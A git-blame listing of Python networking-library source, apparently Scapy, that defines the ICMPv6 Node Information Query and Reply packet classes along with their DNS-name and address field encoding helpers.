2120c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    h = h.digest()
2121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4])
2122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return addr
2123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2124c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
21250d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Here is the deal. First, that protocol is a piece of shit. Then, we
2126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# provide 4 classes for the different kinds of Requests (one for every
2127c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same
21280d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# data field class that is made to be smart by guessing the specific
21290d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# type of value provided :
2130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
2131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0,
21320d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#   if not overridden by user
2133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - IPv4 if acceptable for inet_pton(AF_INET,  ): code is set to 2,
21340d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#   if not overridden
21350d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# - Name in the other cases: code is set to 0, if not overridden by user
2136c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
2137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Internal storage, is not only the value, but the a pair providing
2138c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@)
2139c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
21400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Note : I merged getfield() and m2i(). m2i() should not be called
21410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#        directly anyway. Same remark for addfield() and i2m()
2142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
21430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# -- arno
2144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
21450d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# "The type of information present in the Data field of a query is
21460d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#  declared by the ICMP Code, whereas the type of information in a
2147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#  Reply is determined by the Qtype"
2148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef names2dnsrepr(x):
2150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
2151c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Take as input a list of DNS names or a single DNS name
2152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    and encode it in DNS format (with possible compression)
2153c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    If a string that is already a DNS name in DNS format
2154c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    is passed, it is returned unmodified. Result is a string.
2155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    !!!  At the moment, compression is not implemented  !!!
2156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
21570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2158d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter    if isinstance(x, str):
21592a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        if x and x[-1] == b'\x00': # stupid heuristic
2160c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = [x]
2162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
2164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    for n in x:
21652a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        termin = b"\x00"
2166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if n.count('.') == 0: # single-component gets one more
21672a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            termin += b'\x00'
216805dc450e1f3b4240f3cca288b1208cb7e8949938Guillaume Valadon        n = "".join(chr(len(y)) + y for y in n.split('.')) + termin
2169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        res.append(n)
2170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return "".join(res)
2171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef dnsrepr2names(x):
2174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
21750d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    Take as input a DNS encoded string (possibly compressed)
2176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    and returns a list of DNS names contained in it.
2177c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    If provided string is already in printable format
2178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    (does not end with a null character, a one element list
2179c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    is returned). Result is a list.
2180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
2181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
2182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    cur = ""
2183c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while x:
2184c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = ord(x[0])
2185c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = x[1:]
2186c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l == 0:
2187c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if cur and cur[-1] == '.':
2188c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cur = cur[:-1]
2189c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res.append(cur)
2190c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cur = ""
2191c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if x and ord(x[0]) == 0: # single component
2192c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = x[1:]
2193c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            continue
2194c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l & 0xc0: # XXX TODO : work on that -- arno
2195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            raise Exception("DNS message can't be compressed at this point!")
2196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cur += x[:l]+"."
2198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x = x[l:]
2199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return res
2200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2201c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIQueryDataField(StrField):
2203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default):
2204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        StrField.__init__(self, name, default)
2205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2h(self, pkt, x):
2207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,val = x
2210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 1:
2211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = dnsrepr2names(val)[0]
2212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return val
2213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def h2i(self, pkt, x):
2215d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if x is tuple and isinstance(x[0], int):
2216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        val = None
2219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try: # Try IPv6
2220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            inet_pton(socket.AF_INET6, x)
2221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = (0, x)
2222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
2223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try: # Try IPv4
2224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                inet_pton(socket.AF_INET, x)
2225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = (2, x)
2226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except: # Try DNS
2227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if x is None:
2228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    x = ""
2229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = names2dnsrepr(x)
2230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = (1, x)
2231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return val
2232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
2234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,val = x
2235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 1: # DNS Name
22360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # we don't use dnsrepr2names() to deal with
2237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # possible weird data extracted info
2238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res = []
2239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            weird = None
2240c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while val:
22410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                l = ord(val[0])
2242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = val[1:]
2243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if l == 0:
2244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    if (len(res) > 1 and val): # fqdn with data behind
2245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        weird = val
2246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    elif len(val) > 1: # single label with data behind
2247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        weird = val[1:]
2248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    break
2249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                res.append(val[:l]+".")
2250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = val[l:]
2251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp = "".join(res)
2252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if tmp and tmp[-1] == '.':
2253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                tmp = tmp[:-1]
2254c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return tmp
2255c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return repr(val)
2256c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2257c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
2258c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        qtype = getattr(pkt, "qtype")
2259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if qtype == 0: # NOOP
2260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (0, "")
2261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2262c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            code = getattr(pkt, "code")
2263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if code == 0:   # IPv6 Addr
2264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16]))
2265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif code == 2: # IPv4 Addr
2266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s[4:], (2, inet_ntop(socket.AF_INET, s[:4]))
2267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:           # Name or Unknown
2268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return "", (1, s)
2269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
2271d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if ((isinstance(val, tuple) and val[1] is None) or
2272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val is None):
2273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = (1, "")
2274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t = val[0]
2275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 1:
2276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + val[1]
2277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif t == 0:
2278c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + inet_pton(socket.AF_INET6, val[1])
2279c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + inet_pton(socket.AF_INET, val[1])
2281c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIQueryCodeField(ByteEnumField):
2283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
2284c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2285c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = pkt.getfieldval("data")
2286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d is None:
2287c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 1
2288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d[0] == 0: # IPv6 address
2289c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 0
2290c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d[0] == 1: # Name
2291c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 1
2292c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d[0] == 2: # IPv4 address
2293c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 2
2294c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
2295c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 1
2296c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return x
22970d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2298c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2299c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"}
2300c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2301c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#_niquery_flags = {  2: "All unicast addresses", 4: "IPv4 addresses",
23020d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#                    8: "Link-local addresses", 16: "Site-local addresses",
2303c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                   32: "Global addresses" }
2304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# "This NI type has no defined flags and never has a Data Field". Used
2306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# to know if the destination is up and implements NI protocol.
23070d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6):
2308c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - NOOP Query"
2309c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 139, icmp6types),
2310c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NIQueryCodeField("code", None, _niquery_code),
2311c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2312c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortEnumField("qtype", 0, icmp6_niqtypes),
231377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("unused", 0, 10),
23140d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    FlagsField("flags", 0, 6, "TACLSG"),
231577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    NonceField("nonce", None),
2316c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NIQueryDataField("data", None) ]
2317c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23180d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryName(ICMPv6NIQueryNOOP):
2319c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - IPv6 Name Query"
23200d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    qtype = 2
2321c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23220d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# We ask for the IPv6 address of the peer
2323c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP):
2324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - IPv6 Address Query"
2325c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 3
2326c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    flags = 0x3E
2327c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23280d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP):
2329c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - IPv4 Address Query"
2330c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 4
2331c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23320d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz_nireply_code = { 0: "Successful Reply",
23330d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                  1: "Response Refusal",
2334c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  3: "Unknown query type" }
2335c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz_nireply_flags = {  1: "Reply set incomplete",
23370d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    2: "All unicast addresses",
23380d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    4: "IPv4 addresses",
23390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    8: "Link-local addresses",
23400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                   16: "Site-local addresses",
2341c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   32: "Global addresses" }
2342c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2343c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Internal repr is one of those :
2344c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (0, "some string") : unknow qtype value are mapped to that one
2345c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (3, [ (ttl, ip6), ... ])
23460d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# (4, [ (ttl, ip4), ... ])
2347c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (2, [ttl, dns_names]) : dns_names is one string that contains
23480d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     all the DNS names. Internally it is kept ready to be sent
23490d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     (undissected). i2repr() decode it for user. This is to
2350c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     make build after dissection bijective.
2351c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
2352c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# I also merged getfield() and m2i(), and addfield() and i2m().
2353c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIReplyDataField(StrField):
2354c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2355c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2h(self, pkt, x):
2356c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2357c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2358c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,val = x
2359c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 2:
2360c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl, dnsnames = val
2361c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = [ttl] + dnsrepr2names(dnsnames)
2362c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return val
2363c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2364c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def h2i(self, pkt, x):
23650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        qtype = 0 # We will decode it as string if not
2366c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  # overridden through 'qtype' in pkt
2367c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # No user hint, let's use 'qtype' value for that purpose
2369d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if not isinstance(x, tuple):
2370c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if pkt is not None:
2371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                qtype = getattr(pkt, "qtype")
2372c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2373c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            qtype = x[0]
2374c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x = x[1]
2375c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2376c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # From that point on, x is the value (second element of the tuple)
2377c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2378c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if qtype == 2: # DNS name
2379d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            if isinstance(x, str): # listify the string
2380c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = [x]
2381d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            if isinstance(x, list) and x and not isinstance(x[0], int): # ttl was omitted : use 0
2382c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = [0] + x
2383c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl = x[0]
2384c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            names = x[1:]
2385c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return (2, [ttl, names2dnsrepr(names)])
2386c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2387c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype in [3, 4]: # IPv4 or IPv6 addr
2388d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            if isinstance(x, str):
2389c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = [x] # User directly provided an IP, instead of list
2390c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2391c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # List elements are not tuples, user probably
2392c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # omitted ttl value : we will use 0 instead
2393c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            def addttl(x):
2394d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter                if isinstance(x, str):
2395c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return (0, x)
2396c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return x
2397c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
239805dc450e1f3b4240f3cca288b1208cb7e8949938Guillaume Valadon            return (qtype, [addttl(d) for d in x])
2399c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2400c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return (qtype, x)
2401c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2402c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2403c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
2404c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,tmp = val
2405c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if tmp is None:
2406c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp = ""
2407c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 2:
2408c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl,dnsstr = tmp
2409c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s+ struct.pack("!I", ttl) + dnsstr
2410c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif t == 3:
2411d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            return s + "".join(map(lambda x_y1: struct.pack("!I", x_y1[0])+inet_pton(socket.AF_INET6, x_y1[1]), tmp))
2412c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif t == 4:
2413d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            return s + "".join(map(lambda x_y2: struct.pack("!I", x_y2[0])+inet_pton(socket.AF_INET, x_y2[1]), tmp))
2414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + tmp
24160d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2417c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
2418c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        code = getattr(pkt, "code")
2419c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if code != 0:
2420c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (0, "")
2421c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24220d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        qtype = getattr(pkt, "qtype")
2423c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if qtype == 0: # NOOP
2424c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (0, "")
2425c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2426c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype == 2:
2427c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if len(s) < 4:
2428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s, (0, "")
2429c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl = struct.unpack("!I", s[:4])[0]
2430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "", (2, [ttl, s[4:]])
2431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2432c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype == 3: # IPv6 addresses with TTLs
2433c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX TODO : get the real length
2434c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res = []
